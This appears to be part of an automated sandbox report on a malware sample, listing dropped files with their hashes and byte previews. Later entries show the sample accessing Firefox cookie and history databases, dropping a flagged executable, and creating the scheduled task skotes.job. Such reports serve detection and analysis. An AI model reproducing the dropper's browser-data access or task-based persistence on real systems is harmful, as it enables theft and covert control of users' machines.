Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[...........=.B.../EYp....i:........ua....w...\H.j....b....4...l.b.:u.%1z....}L.A.F.IZ.2^.j...!F.&@;L..z...02..`:J_@....m....qcQ.\|sD.r`vC.#.8lm...R.8.~A...."~)".[.M...o.a.H.$..(.d/.K.6......c........#.$..>.#..3..-...n4J.$-....N...s.G...3..q.e..(.B?."...9M......[0Y0....H.=....*.H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...H0F.!..w./B..$<......r-.'..xp.H..Q...8.!..R^...%..W0....q....g.D..~.".%............mo.:......<#a..e...Chp...x4z....!.!.a...qgo....p8.T.6...Z....?..CV...<..K...?....k..........q=....Y^........!..K...G...m.n..Y.Y.......u.Wf...TO".?.......U/Rd..Y....j....H..Q...{.....x.OQ.~+}...L.9_.:.,E.....q.0&...I;b..H...>...9.}.B

C:\Users\user\AppData\Local\Temp\scoped_dir1172_1549183707\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir1172_1549183707\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir1172_1549183707\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir1172_1549183707\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1172_1549183707\ce3ec178-b7bd-45ac-a74e-b2d1d5e5317a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sat Nov 9 20:09:27 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9730916091406483
Encrypted:	false
SSDEEP:	48:8fd65TaBk4HGidAKZdA19ehwiZUklqehRy+3:8U5uSpey
MD5:	7E91A2BED9EC21F5DA35A48ABAC32CB2
SHA1:	D6ABF824853E43D8F670A888211D718336181124
SHA-256:	8FF695E6A24E0E8AB5DB6EA6ED0CB7F65305C820C1B0BDF0113D565EEC1DB1CA
SHA-512:	1F79B72497843D0A8F45989A694CB95874172497125DD55A3EF133047546B3062BDCD9FCC7F7074F918A244EEEF72657CECBBD5D90D45337BD2081AA4F7EB29D
Malicious:	false
Preview:	L..................F.@.. ...$+.,....@.^..2..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IiY,.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.ViY,.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.ViY,.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.ViY,............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.ViY.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........8}.n.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sat Nov 9 20:09:27 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9867482350077315
Encrypted:	false
SSDEEP:	48:8Kd65TaBk4HGidAKZdA1weh/iZUkAQkqehOy+2:8v5uS79Qjy
MD5:	EFE95D2FA03686BC6FAFA05FA7BD6BCD
SHA1:	D91310ECCAC46ECAF9055AFDCA507E5FD8FA4C49
SHA-256:	1692F69EE3903C8C79960EA1079910CCC4D066953DFDE99E6A5C21C00A81C5BC
SHA-512:	DCFB47AB66EC6DAABFC03C5E4EA126D0CF5A69280A8ABA6C0387912A8EB8CAAFE26889079D47E564508CC3B1BE4F01FA47BC2A6B570ABFF347934FAC59A43040
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....:S..2..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IiY,.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.ViY,.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.ViY,.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.ViY,............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.ViY.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........8}.n.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.002386685496295
Encrypted:	false
SSDEEP:	48:8xVd65TaBksHGidAKZdA14tseh7sFiZUkmgqeh7soy+BX:8xS5uSnnyy
MD5:	FDD2AB732223033170C4EF3D4BE4FC7D
SHA1:	EE9031643E9360B9D371A2184EA67BC5E635C95C
SHA-256:	E1A5F92BD6D62A333235D5A2B3B8E92B5B45B534FAC3D3D218146B8D4EEED0AB
SHA-512:	CB0CCB3EC42217B37838BD25C06AD4406726525BB668217134C9866BF87C3216752B00426956A70D2FE30D09A13569B235C911CF0FAB2C1E991E53EC6E9EC214
Malicious:	false
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IiY,.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.ViY,.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.ViY,.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.ViY,............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........8}.n.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sat Nov 9 20:09:27 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.987625165384674
Encrypted:	false
SSDEEP:	48:8md65TaBk4HGidAKZdA1vehDiZUkwqehKy+R:8r5uSYAy
MD5:	7510FE2C6FE06CB1035BA6B4A4216621
SHA1:	5A8187D537A487BA97C11E9F8852B02D83E749EC
SHA-256:	1C4B55E63ECA7DE632AC929822B97EE9B1FE3135423D2B7E9C9FC2E13F171505
SHA-512:	4BA45FA9E434504FC561E321299F3ADA163EC8F80CE18646903FFA6DE0E375283174421FD6E967C5C9983EEB2DDCE1B7182C524AD6B3B5DC8723F461FE6CC0F0
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....uN..2..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IiY,.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.ViY,.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.ViY,.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.ViY,............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.ViY.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........8}.n.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sat Nov 9 20:09:27 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9755953020156425
Encrypted:	false
SSDEEP:	48:81d65TaBk4HGidAKZdA1hehBiZUk1W1qehMy+C:8y5uSI9sy
MD5:	F7A7DB6F823CA72604029D837FC8FC8F
SHA1:	5DA39D2D077608F6F367465779783229CEC6D215
SHA-256:	038B88182D813F97F32B097FB1D356ACABD5DE598E7E3960532447CFDB567551
SHA-512:	D98362B968D5F3FB6DFBC6EA68B434686B077BEE952179E057FB7CDE197F9A3E227E7ECE47AD66EF759FAE00F0D96FBAD66F2A387A0A57AEAB12E6BDB2CB87C3
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....Y..2..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IiY,.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.ViY,.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.ViY,.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.ViY,............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.ViY.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........8}.n.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sat Nov 9 20:09:27 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.984953769732378
Encrypted:	false
SSDEEP:	48:8Bd65TaBk4HGidAKZdA1duT+ehOuTbbiZUk5OjqehOuTbyy+yT+:8+5uSmT/TbxWOvTbyy7T
MD5:	B8F23D4884AC6C33D2F2B7E61D3B3FA2
SHA1:	CB44427D8EC3613C84E22970016EE1B6C228ABD1
SHA-256:	04856C9B7A1C4314F0F74E27187C83D3E71C559875949C1136A49FBD0EFDCF46
SHA-512:	C7261DC70039FE46FFFD3BF808CAC4753C2ED324624A9499CEA00C7C548745015C876F6E0FFDD3681B83C4C5E0D50CE1D5A376B12CB92CA795B8BAF2B3D39894
Malicious:	false
Preview:	L..................F.@.. ...$+.,....,.F..2..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IiY,.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.ViY,.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.ViY,.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.ViY,............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.ViY.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........8}.n.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\DocumentsIDAEBGCAAE.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3284992
Entropy (8bit):	6.654133763649022
Encrypted:	false
SSDEEP:	49152:LRqNl9E/rHB/7pLLDvLLsIbssNeG6/7VjpSLETtI83lX4xJhh:WExpDvMIbssNeGE7VDBlXE7
MD5:	7D3770199321763F29A3FBB8FEC22486
SHA1:	ED75D88D4A0CB62D3D7A764691A6F42C2D4915CB
SHA-256:	2B3D23F8D0065DFD58648A0EA0118E7FABBE2AD75AF71082A17D45A514B580BE
SHA-512:	46842F489FFDE43811934CFAD8553FD2BDEEEF96F651DCD2024ABA220B2DF4525735B28F637CB664DF141C35C1C1D9F4BD00841D71C2684DA2238992341C5FD2
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 53%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................02...........@..........................`2.....H.2...@.................................W...k...........................d.2...............................2..................................................... . ............................@....rsrc...............................@....idata ............................@...tcfpemkw.p+......f+.................@...aavgidyx..... 2.......1.............@....taggant.0...02.."....1.............@...........................................................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\DocumentsIDAEBGCAAE.exe
File Type:	data
Category:	dropped
Size (bytes):	290
Entropy (8bit):	3.4061889459138506
Encrypted:	false
SSDEEP:	6:fiZxqX55ZsUEZ+lX1CGdKUe6tFXqYEp5t/uy0lBMVut0:xuQ1CGAFifXVBM8t0
MD5:	619A45B689B7616817BC211F8A6C36F3
SHA1:	64D6980520761F85DBC46AEB0644E4AE585ED929
SHA-256:	4B0F151CCB808D67946273EFC0946376B2A2778324878D8496664122AD3E8AFA
